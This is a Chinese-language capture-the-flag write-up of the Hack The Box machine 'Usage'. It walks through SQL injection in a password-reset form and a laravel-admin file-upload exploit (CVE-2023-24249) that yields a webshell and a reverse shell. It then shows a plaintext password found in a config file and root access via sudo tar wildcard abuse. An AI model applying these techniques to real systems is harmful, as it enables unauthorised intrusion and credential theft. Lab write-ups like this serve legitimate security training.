Usage
Enumeration
nmap
首先使用 nmap 默认配置扫描系统端口对外开放情况,发现对外开放了 22 和 80 端口,然后又扫描了这两个端口的详细信息,情况如下
┌──(kali㉿kali)-[~/vegetable/HTB/Usage]
└─$ nmap -sC -sV -p 22,80 -oA nmap 10.10.11.18
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-14 22:19 EDT
Nmap scan report for 10.10.11.18
Host is up (0.52s latency).
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.38 seconds
可以看到 80 端口运行着 http,使用了 nginx,并且提示无法访问 http://usage.htb,将域名添加至 /etc/hosts 文件中
┌──(kali㉿kali)-[~/vegetable/HTB/Usage]
└─$ echo '10.10.11.18 usage.htb' | sudo tee -a /etc/hosts
[sudo] password for kali:
10.10.11.18 usage.htb
TCP/80
先从 80 端口开始,访问该网站,出现一个登录框,有 /login,/register,/admin 链接,可以尝试注册一个账号,注册成功后会重定向至 /dashboard,然后又重定向到 /login
使用注册的用户信息登录成功,发现就和标题一样,是一些博客相关的东西
查看浏览器插件 wapplayzer 显示的结果,发现系统使用了 Laravel 框架,但是暂时不清楚是哪个版本,也没有较新的漏洞,暂时先放下看看别的
页面上还有一个 admin,点击后会跳转到域名 admin.usage.htb,按照同样的方式将这个域名也添加到 /etc/hosts,然后访问看到一个管理员的登录入口
Exploitation
sql injection
在首页中的 reset password 处,作为忘记密码后填写邮件重置密码的功能,请求包如下
POST /forget-password HTTP/1.1
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Origin: http://usage.htb
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdiI6Im9MOEtFbmd0ckF4MzZHQUFBZjlObFE9PSIsInZhbHVlIjoidnEwczRjTTJWOHVXSlJZMHRwL3NjNkZ5NFpUeiswOWhTVWZGaDlRdlVZTmJRRUtlMWdLbFg0Rzl6ejR4d1d1NlNLV3NESUdWSWEwVHRpY0RkcXZsaWlTN3Iya2pVekdWY20yWHd2WEd0eHA5enNMSlpLWUdid1dFZGNVS0Q5cy8iLCJtYWMiOiJkNGFmYjM3ZTVhNzJiYzZhMzQ3ZWJlZjcxODc3YjJiOGZiZWViYTY1Y2E5YWE5Mzc0MjRlNGMzMjBjMDEzZDcyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpVcTFSZ0h5MUlha0ZZNXVpSDdaRlE9PSIsInZhbHVlIjoiR25rbGllVmZ6RnhGSmQ3cnBqZjA0Nnp0TzkwQVpYN2tnRWthNXpSZUJ5am90OTExdW56VlZUOERsSUQ1bUxybTg4dWYzbnppamRTdGltRy8yVk9lcDZnd1ZmanFvRjB3YmhvOHAvNTZ0TEN4Mm5PKzFrVmpTZ0dnYzVPTDNLakMiLCJtYWMiOiJjMzQ1MWJkN2M5ZDgwYjhjZWFmMWM5YmMzYzIzZjM0YjQ1YTVmZjI2YmI5YzBjNDdmY2ViYWQ5ZjcxMTdlNmMwIiwidGFnIjoiIn0%3D
Upgrade-Insecure-Requests: 1
_token=UJZ1h0keEyWPjyEPPwGSILGkHvlyP9C4OdX11pCp&email=vegetable%40123.com
正常情况下,会响应一个 302,然后页面被重定向,但是如果在参数 email 后添加一个单引号的话,服务器会响应 500
添加两个单引号,服务器响应正常,基本判断存在 sql 注入
将数据包的请求头保存到 sql.txt 中,在注入点 email 参数后添加一个 *,然后使用 sqlmap 自动化注入
但是因为网络连接问题,我的 sqlmap 在运行不久之后就会断开,而且要浪费掉很长的时间,我甚至怀疑 sql 注入到底是不是关键的步骤,在论坛里发现有人在提问,但是没有回答。后来我找到了一篇 writeup 证实了这一点,并且也借鉴了一下他提权的过程,HTB - Usage | My Pentest Book (gitbook.io),通过 sql 注入获取 hash,然后利用 hashcat 或者 john 破解 hash 值。因为懒,我直接使用了他爆破出来的密码 admin/whatever1
获取用户名密码后,可以直接登录 Usage admin 管理页面
登陆成功显示如下,发现使用了 laravel-admin,版本为 1.8.18。laravel-admin是一个可以快速帮你构建后台管理的工具,它提供丰富的页面组件和表单元素,还有即插即用的功能组件,通过简单的配置或使用少量的代码就实现完善的后台管理功能。
CVE-2023-24249
搜索该版本,发现存在任意文件上传的漏洞,参考文章 CVE-2023-24249 | flyD,给出了很详细的利用过程,上传写好的一句话木马文件 shell.jpg,内容为
选择图片上传,截取数据包后,直接在 .jpg 后缀后面添加 .php 即可,然后放过所有的数据包
上传成功后可以看到图片除多了一个下载按钮,邮件点击该按钮选择在新的标签页打开即可获取 shell 地址
经过测试,可以执行系统命令
按照正常情况下,现在应该监听特定端口,并在浏览器中执行一些反向 shell 连接语句,获取 reverse shell。但是可能是为了避免给出提示,上传的 shell 很快就会被删除,被删除后每一次都需要重新上传,重新走一遍这个流程。但是试了几次都没能精准把控,最后决定在修改后缀名时直接把 shell 内容也改了,改成 PentestMonkey 的 shell
监听 4444 端口,按照刚才的流程将文件上传成功后,访问图片链接即可在监听端收到一个 shell,然后简单升级一个交互式 shell,在 home 目录下看到两个用户,在 dash 用户目录下可以看到 user.txt 文件,而且在隐藏文件 .monitrc 中发现了一个密码
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.18] 32816
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
07:44:45 up 49 min, 0 users, load average: 0.03, 0.05, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(dash) gid=1000(dash) groups=1000(dash)
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
dash@usage:/$ ls /home
ls /home
dash xander
dash@usage:/$ cd /home/dash
cd /home/dash
dash@usage:~$ ls -al
ls -al
total 52
drwxr-x--- 6 dash dash 4096 Apr 17 07:46 .
drwxr-xr-x 4 root root 4096 Aug 16 2023 ..
lrwxrwxrwx 1 root root 9 Apr 2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan 6 2022 .bashrc
drwx------ 3 dash dash 4096 Aug 7 2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20 2023 .config
drwxrwxr-x 3 dash dash 4096 Aug 7 2023 .local
-rw-r--r-- 1 dash dash 32 Oct 26 04:50 .monit.id
-rw-r--r-- 1 dash dash 5 Apr 17 07:46 .monit.pid
-rw------- 1 dash dash 1192 Apr 17 07:46 .monit.state
-rwx------ 1 dash dash 707 Oct 26 04:49 .monitrc
-rw-r--r-- 1 dash dash 807 Jan 6 2022 .profile
drwx------ 2 dash dash 4096 Aug 24 2023 .ssh
-rw-r----- 1 root dash 33 Apr 17 06:55 user.txt
dash@usage:~$ cat user.txt
cat user.txt
c2d*****************************
dash@usage:~$ cat .monitrc
cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
Privilege Escalation
尝试使用该密码登录 xander 用户,成功了,直接运行 sudo -l,发现可以运行 /usr/bin/usage_management 文件
┌──(kali㉿kali)-[~]
└─$ ssh xander@10.10.11.18
The authenticity of host '10.10.11.18 (10.10.11.18)' can't be established.
ED25519 key fingerprint is SHA256:4YfMBkXQJGnXxsf0IOhuOJ1kZ5c1fOLmoOGI70R/mws.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.18' (ED25519) to the list of known hosts.
xander@10.10.11.18's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Apr 17 07:49:23 AM UTC 2024
System load: 0.0
Usage of /: 65.0% of 6.53GB
Memory usage: 21%
Swap usage: 0%
Processes: 228
Users logged in: 0
IPv4 address for eth0: 10.10.11.18
IPv6 address for eth0: dead:beef::250:56ff:feb9:751
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
通过查看该文件得知该二进制文件会压缩 /var/www/html 中的所有内容,并且有一个 * 通配符,意味着可能造成滥用
在 hacktricks 中发现如下内容,详情参考 通配符备用技巧 |黑客技巧 |黑客技巧 (hacktricks.xyz)
按照文章中要求的做,尝试创建符号链接,然后在执行二进制文件时就会抛出 root.txt,如下所示,也可以读取root 的 rsa 文件,然后通过 22 连接
参考链接:
CVE-2023-24249 | flyD
通配符备用技巧 |黑客技巧 |黑客技巧 (hacktricks.xyz)
HTB - Usage | My Pentest Book (gitbook.io)